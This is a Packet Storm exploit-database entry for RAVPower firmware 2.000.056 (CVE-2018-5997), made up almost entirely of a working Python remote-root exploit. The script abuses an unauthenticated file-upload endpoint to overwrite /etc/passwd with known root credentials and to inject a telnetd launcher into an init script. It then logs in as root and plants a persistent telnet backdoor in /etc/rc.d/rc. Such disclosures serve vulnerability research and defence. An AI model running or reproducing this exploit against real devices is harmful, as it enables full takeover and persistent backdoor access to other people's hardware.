Lucene search

K
packetstormDaniele LinguaglossaPACKETSTORM:146073
HistoryJan 24, 2018 - 12:00 a.m.

RAVPower 2.000.056 Remote Root Code Execution

2018-01-2400:00:00
Daniele Linguaglossa
packetstormsecurity.com
20

0.084 Low

EPSS

Percentile

94.4%

`"""  
  
# Exploit Title: RAVPower - remote root  
# Date: 23/01/2018  
# Exploit Authors: Daniele Linguaglossa  
# Vendor Homepage: https://www.ravpower.com/  
# Software Link: https://www.ravpower.com/  
# Version: 2.000.056  
# Tested on: OSX  
# CVE : CVE-2018-5997  
  
"""  
  
import requests  
import time  
import telnetlib  
  
  
PATH_PASSWD = "/etc"  
FILE_PASSWD = "passwd"  
PATH_VSTFUNC = "/etc/init.d"  
FILE_VSTFUNC = "vstfunc"  
FILE_RC = "/etc/rc.d/rc"  
BACKDOOR_TERM = "export TERM=xterm"  
BACKDOOR_TELNET = "/usr/sbin/telnetd &"  
BASH_SHEBANG = "#!/bin/sh"  
TELNETD = "/usr/sbin/telnetd -p 1111 &"  
  
  
def upload(host, port, path, name, content):  
user_agent = "Mozilla/5.0 (X11; Linux x86_64; rv:57.0) Gecko/20100101 Firefox/57.0"  
path = "/upload.csp?uploadpath=%s&file=1515865637281" % path  
url ="http://{0}:{1}{2}".format(host,port,path)  
files = {'file' : ('%s' % name, content,'application/octet-stream')}  
headers = {  
"user-agent": user_agent  
}  
try:  
requests.post(url,headers=headers,files=files)  
return True  
except:  
return False  
  
  
# root:admin  
tmp_passwd = """root:$1$YBm5LfCo$5OEwLPLUu085z5EoDpQz7/:0:0:root:/data/UsbDisk1/Volume1:/bin/sh  
bin:x:1:1:bin:/bin:/sbin/nologin  
daemon:x:2:2:daemon:/sbin:/sbin/nologin  
admin:$1$QlrmwRgO$c0iSI2euV.U1Wx6yBkDBI.:15:0:admin:/data/UsbDisk1/Volume1:/bin/sh  
mail:*:8:8:mail:/var/mail:/bin/sh  
nobody:x:65534:65534:Nobody:/data/UsbDisk1/Volume1:/bin/sh  
guest:$1$QlrmwRgO$c0iSI2euV.U1Wx6yBkDBI.:512:0:guest:/data/UsbDisk1/Volume1/Share:/bin/sh-new  
"""  
  
tmp_vstfunc = """  
export PATH=/bin:/sbin:/usr/bin:/usr/sbin  
# A function to stop a program.  
killproc() {  
local base=${1##*/}  
local pid=  
pid=`pidof $base`  
local i  
if [ -n "$pid" ]; then  
for i in $pid ; do  
kill -KILL $i > /dev/null 2>&1  
done  
fi  
rm -f /var/run/$base.pid  
return 0  
}  
# A function to find the pid of a program.  
pidofproc() {  
local base=${1##*/}  
#First try "/var/run/*.pid" files  
if [ -f "/var/run/$base.pid" ]; then  
local line p pid=  
read line < /var/run/$base.pid  
for p in $line ; do  
[ -z "$p" -a -d "/proc/$p" ] && pid="$pid $p"  
done  
else  
pid=`pidof $1 || pidof $base`  
fi  
if [ -n "$pid" ]; then  
echo $pid  
return 0  
fi  
return 1  
}  
# Check if $pid (could be plural) are running  
# Return : 0 run  
# 1 stop  
checkpid() {  
local i  
for i in $* ; do  
if [ -d "/proc/$i" ]; then  
return 0  
fi  
done  
return 1  
}  
# Check disk exist  
checkdisk() {  
return $?  
}  
# save pid and log function  
savesc() {  
local i=0  
if [ -n "$3" ]; then  
touch /var/run/$3.pid  
fi  
return $?  
}  
  
# A function check start of a program.  
# return: 1 not exist  
# 0 exist  
checkonly() {  
local prgname=${1##*/}  
local pid=  
if [ -f "/var/run/$prgname.pid" ]; then  
pid=`pidof $prgname`  
if [ -n "$pid" ]; then  
return 0  
fi  
return 1  
else  
pid=`pidof $prgname`  
if [ -n "$pid" ]; then  
if sleep 1 && checkpid $pid && sleep 1 && checkpid $pid && sleep 2 && checkpid $pid ; then  
return 2  
fi  
fi  
return 2  
fi  
  
}  
# A function save etc to mtd.  
# return: 1 failure  
# 0 success  
saveetc() {  
local ret=0  
  
/usr/sbin/etc_tools t > /dev/null 2>&1  
let ret=ret+$?  
# ret=$[$ret + $?]  
/usr/sbin/etc_tools p > /dev/null 2>&1  
let ret=ret+$?  
# ret=$[$ret + $?]  
  
return $ret  
}  
# A function resume mtd to etc.  
# return: 1 failure  
# 0 success  
resumeetc() {  
local ret=0  
  
/usr/sbin/etc_tools b > /dev/null 2>&1  
let ret=ret+$?  
# ret=$[$ret + $?]  
/usr/sbin/etc_tools u > /dev/null 2>&1  
let ret=ret+$?  
# ret=$[$ret + $?]  
  
return $ret  
}  
  
# Create a lock for /var/lock  
AppScriptLock() {  
if [ -f /var/lock/$1.pid ]; then  
return 0  
else  
touch /var/lock/$1.pid  
return 1  
fi  
}  
  
# Check a lock for /var/lock  
AppScriptChkLock() {  
if [ -f /var/lock/$1.pid ]; then  
return 1  
else  
return 0  
fi  
}  
  
# Delete a lock for /var/lock  
AppScriptUnlock() {  
if [ -f /var/lock/$1.pid ]; then  
rm -rf /var/lock/$1.pid  
fi  
return 1  
}  
  
DISKPATH="/data/UsbDisk1/Volume1/.vst/upgrade"  
ETCPATH="/boot/tmp"  
ETCBKPATH="/boot/tmp/etcbackup"  
DISKETCFILE="/data/UsbDisk1/Volume1/.vst/upgrade/etc.tar"  
DIDKETCBKFILE="/data/UsbDisk1/Volume1/.vst/upgrade/etcbackup.tar.gz"  
ETCFILE="/boot/tmp/etc.tar"  
ETCBKFILETAR="/boot/tmp/etcbackup.tar"  
ETCBKFILE="/boot/tmp/etcbackup.tar.gz"  
FILELIST="hostname passwd shadow samba/smbpasswd fileserv/lighttpd.user dropbox baidu"  
FILELIST1="hostname"  
backup_etc() {  
rm $ETCBKFILETAR -rf  
rm $ETCBKFILE -rf  
rm $ETCBKPATH -rf  
  
# if [ ! -e $DISKPATH ];then  
# mkdir -p -m 755 $DISKPATH  
# fi  
if [ ! -e $ETCBKPATH ]; then  
mkdir -p -m 755 $ETCBKPATH  
fi  
if [ -z $1 ]; then  
FILELISTALL=$FILELIST  
else  
if [ $1 == "resume" ]; then  
FILELISTALL=$FILELIST1  
fi  
fi  
for f in $FILELISTALL  
do  
if [ -d /etc/$f ]; then  
cp -rf /etc/$f $ETCBKPATH > /dev/null 2>&1  
else  
if [ "$f" == "samba/smbpasswd" ]; then  
if [ ! -e $ETCBKPATH/samba ]; then  
mkdir -p $ETCBKPATH/samba  
fi  
cp -rf /etc/$f $ETCBKPATH/$f > /dev/null 2>&1  
elif [ "$f" == "fileserv/lighttpd.user" ]; then  
if [ ! -e $ETCBKPATH/fileserv ]; then  
mkdir -p $ETCBKPATH/fileserv  
fi  
cp -rf /etc/$f $ETCBKPATH/$f > /dev/null 2>&1  
elif [ "$f" == "serversman/cloud.conf" ]; then  
if [ ! -f /etc/$f ]; then  
continue  
fi  
if [ ! -e $ETCBKPATH/serversman ]; then  
mkdir -p $ETCBKPATH/serversman  
fi  
cp -rf /etc/$f $ETCBKPATH/$f > /dev/null 2>&1  
else  
cp -rf /etc/$f $ETCBKPATH > /dev/null 2>&1  
fi  
fi  
done  
tar cvf $ETCBKFILETAR $ETCBKPATH > /dev/null 2>&1  
gzip $ETCBKFILETAR  
if [ -f $ETCBKFILE ]; then  
cp -rf $ETCBKFILE $DIDKETCBKFILE  
fi  
}  
  
  
backup_etc_telnet() {  
rm $ETCBKFILETAR -rf  
rm $ETCBKFILE -rf  
rm $ETCBKPATH -rf  
  
# if [ ! -e $DISKPATH ];then  
# mkdir -p -m 755 $DISKPATH  
# fi  
if [ ! -e $ETCBKPATH ]; then  
mkdir -p -m 755 $ETCBKPATH  
fi  
if [ -z $1 ]; then  
FILELISTALL=$FILELIST  
else  
if [ $1 == "resume" ]; then  
FILELISTALL=$FILELIST1  
fi  
fi  
touch $ETCBKPATH/telnetflag  
tar cvf $ETCBKFILETAR $ETCBKPATH > /dev/null 2>&1  
gzip $ETCBKFILETAR  
if [ -f $ETCBKFILE ]; then  
cp -rf $ETCBKFILE $DIDKETCBKFILE  
fi  
}  
  
  
  
  
  
  
  
  
  
restore_etc() {  
if [ -f $ETCBKFILE ]; then  
gunzip $ETCBKFILE  
tar xvf $ETCBKFILETAR -C / > /dev/null 2>&1  
for f in $FILELIST  
do  
if [ -d /etc/$f ]; then  
echo cp -rf $ETCBKPATH/$f /etc/$f >> /tmp/restore_etc  
#cp -rf $ETCBKPATH/$f /etc/$f > /dev/null 2>&1  
cp -rf $ETCBKPATH/$f /etc > /dev/null 2>&1  
else  
if [ "$f" == "samba/smbpasswd" ]; then  
echo cp -rf $ETCBKPATH/$f /etc/$f >> /tmp/restore_etc  
cp -rf $ETCBKPATH/$f /etc/$f > /dev/null 2>&1  
elif [ "$f" == "fileserv/lighttpd.user" ]; then  
echo cp -rf $ETCBKPATH/$f /etc/$f >> /tmp/restore_etc  
cp -rf $ETCBKPATH/$f /etc/$f > /dev/null 2>&1  
elif [ "$f" == "serversman/cloud.conf" ]; then  
if [ ! -f $ETCBKPATH/$f ]; then  
continue  
fi  
echo cp -rf $ETCBKPATH/$f /etc/$f >> /tmp/restore_etc  
cp -rf $ETCBKPATH/$f /etc/$f > /dev/null 2>&1  
else  
echo cp -rf $ETCBKPATH/$f /etc/$f >> /tmp/restore_etc  
cp -rf $ETCBKPATH/$f /etc/$f > /dev/null 2>&1  
fi  
fi  
done  
if [ -f $ETCBKPATH/telnetflag ]; then  
touch /etc/telnetflag  
fi  
fi  
}  
  
# A function check usb flag  
# return: 0 service start  
# 1 service stop  
check_usb_flag() {  
local ret=0  
  
if [ -e "/proc/usbwrite" ];then  
ret=`cat /proc/usbwrite`  
fi  
  
return $ret  
}  
  
###########################################################################  
#  
# LED operations  
#  
###########################################################################  
led_wink_start() {  
LED=`cat /proc/vsled`  
if [ $LED -eq 3 ]; then  
pioctl wifi 2  
fi  
}  
led_wink_stop() {  
LED=`cat /proc/vsled`  
if [ $LED -eq 2 ]; then  
pioctl wifi 3  
fi  
}  
led_wink_chk() {  
LED=`cat /proc/vsled`  
if [ $LED -eq 2 ]; then  
return 1  
else  
return 0  
fi  
}  
  
###########################################################################  
#  
# Flag operation  
#  
###########################################################################  
flagctl_get() {  
if [ -e /dev/sda ]; then  
trynum=0  
while [ $trynum -lt 3 ]; do  
retval=`/usr/sbin/flagctl disk get $1`  
if [ ! -z $retval ]; then  
return $retval  
fi  
let trynum=trynum+1  
# trynum=$[$trynum+1]  
sleep 1  
done  
fi  
}  
  
flagctl_set() {  
if [ -e /dev/sda ]; then  
trynum=0  
while [ $trynum -lt 3 ]; do  
/usr/sbin/flagctl disk set $1 $2  
flagctl_get $1  
if [ "$?" -eq "$2" ]; then  
sync  
return 1  
fi  
let trynum=trynum+1  
# trynum=$[$trynum+1]  
sleep 1  
done  
fi  
return 0  
}  
  
###########################################################################  
#  
# string function  
#  
###########################################################################  
str_func_strstr () {  
if [ ${#2} -eq 0 ];then  
echo "$1"  
return 0  
fi  
case "$1" in  
*$2*)  
return 1  
;;  
*)  
return 0  
;;  
esac  
}  
  
dev_test_host() {  
nordev=`echo $1 | cut -c -3`  
s_str=`ls -l /sys/block/$nordev/device`  
str_func_strstr "$s_str" "host0"  
if [ $? -eq 1 ]; then  
return 1  
fi  
return 0;  
}  
  
dev_test_usb() {  
nordev=`echo $1 | cut -c -3`  
s_str=`ls -l /sys/block/$nordev/device`  
str_func_strstr "$s_str" "usb"  
if [ $? -eq 1 ]; then  
return 1  
fi  
return 0;  
}  
  
###########################################################################  
#  
# Permission check functions  
#  
###########################################################################  
# $1: device name  
# $2: host/usb  
# $3: if recursive, 1: enable, 0: disable  
perm_change_start() {  
permpid=`ps | grep "/usr/sbin/permchange $1" | cut -d' ' -f2`  
if [ ! -z $permpid ]; then  
return 1;  
else  
/usr/sbin/permchange $1 $2 $3 &  
fi  
}  
  
# $1: device name  
# $2: if recursive, 1: enable, 0: disable  
perm_chk_start() {  
dev_test_host $1  
if [ $? -eq 1 ]; then  
perm_change_start $1 host $2  
else  
perm_change_start $1 usb $2  
fi  
}  
  
perm_chk_stop() {  
permpid=`ps | grep "/usr/sbin/permchange $1" | cut -d' ' -f2`  
if [ ! -z $permpid ]; then  
for ppid in $permpid ; do  
kill -9 $ppid > /dev/null 2>&1  
done  
fi  
}  
  
###########################################################################  
# Time function  
###########################################################################  
timedate_settosys() {  
if [ -e /etc/timedate ]; then  
TIMESET=`cat /etc/timedate`  
date -s $TIMESET  
fi  
}  
  
timedate_save() {  
date '+%Y.%m.%d-%H:%M:%S' > /etc/timedate  
}  
"""  
print "RAVPower Remote root (0day) - By dzonerzy & r3dx0f\n\n"  
host = raw_input("Insert Ravpower IP: ")  
print "[*] Step 1 -> pwning /etc/passwd"  
if not upload(host, 80,PATH_PASSWD,FILE_PASSWD,tmp_passwd):  
print "[-] Filed to pwn /etc/passwd maybe fixed?"  
exit(0)  
print "[*] Step 2 -> pwning /etc/init.d/vstfunc"  
if not upload(host, 80,PATH_VSTFUNC,FILE_VSTFUNC,BASH_SHEBANG+"\n"+TELNETD+"\n"+tmp_vstfunc):  
print "[-] Filed to pwn /etc/init.d/vstfunc maybe fixed?"  
exit(0)  
t = None  
print "[*] Step 3 -> Try to remove or insert SD Card or just wait for something happen (something must happen!)"  
while True:  
try:  
print "[*] Step 3-1 -> Trying to telnet..."  
t = telnetlib.Telnet(host, port=1111)  
break  
except:  
time.sleep(5)  
t.read_until(": ")  
t.write("root\n")  
t.read_until(": ")  
t.write("admin\n")  
t.read_until("# ")  
print "[*] Step 4 -> pwning /etc/rc.d/rc"  
t.write("echo '%s' >> %s\n" % (BACKDOOR_TERM, FILE_RC))  
t.read_until("# ")  
t.write("echo '%s' >> %s\n" % (BACKDOOR_TELNET, FILE_RC))  
t.read_until("# ")  
print "[*] Step 4-1 -> pwned!"  
print "[*] Step 5 -> Saving settings"  
t.write("/usr/sbin/etc_tools p\n")  
t.read_until("# ")  
print "[*] Step 5-1 -> Done!"  
print "[*] Step 6 -> Starting telnetd"  
t.write("/usr/sbin/telnetd &\n")  
t.read_until("# ")  
print "[*] Step 6-1 -> Done!"  
print "[*] Step 7 -> Killing old telnet"  
t.write("ps aux |grep 1111 | awk '{print $2}' | xargs kill -9\n")  
t.read_until("# ")  
print "[*] Step 7-1 -> Done!"  
print "[*] Step 8 -> Restoring vstfunc"  
if not upload(host, 80,PATH_VSTFUNC,FILE_VSTFUNC,BASH_SHEBANG+"\n"+tmp_vstfunc):  
print "[-] Filed to pwn /etc/init.d/vstfunc fixed?"  
exit(0)  
print "[*] Step 8-1 -> Done!"  
print "[!] PWNAGE COMPLETED! connect with root:admin"  
  
  
`

0.084 Low

EPSS

Percentile

94.4%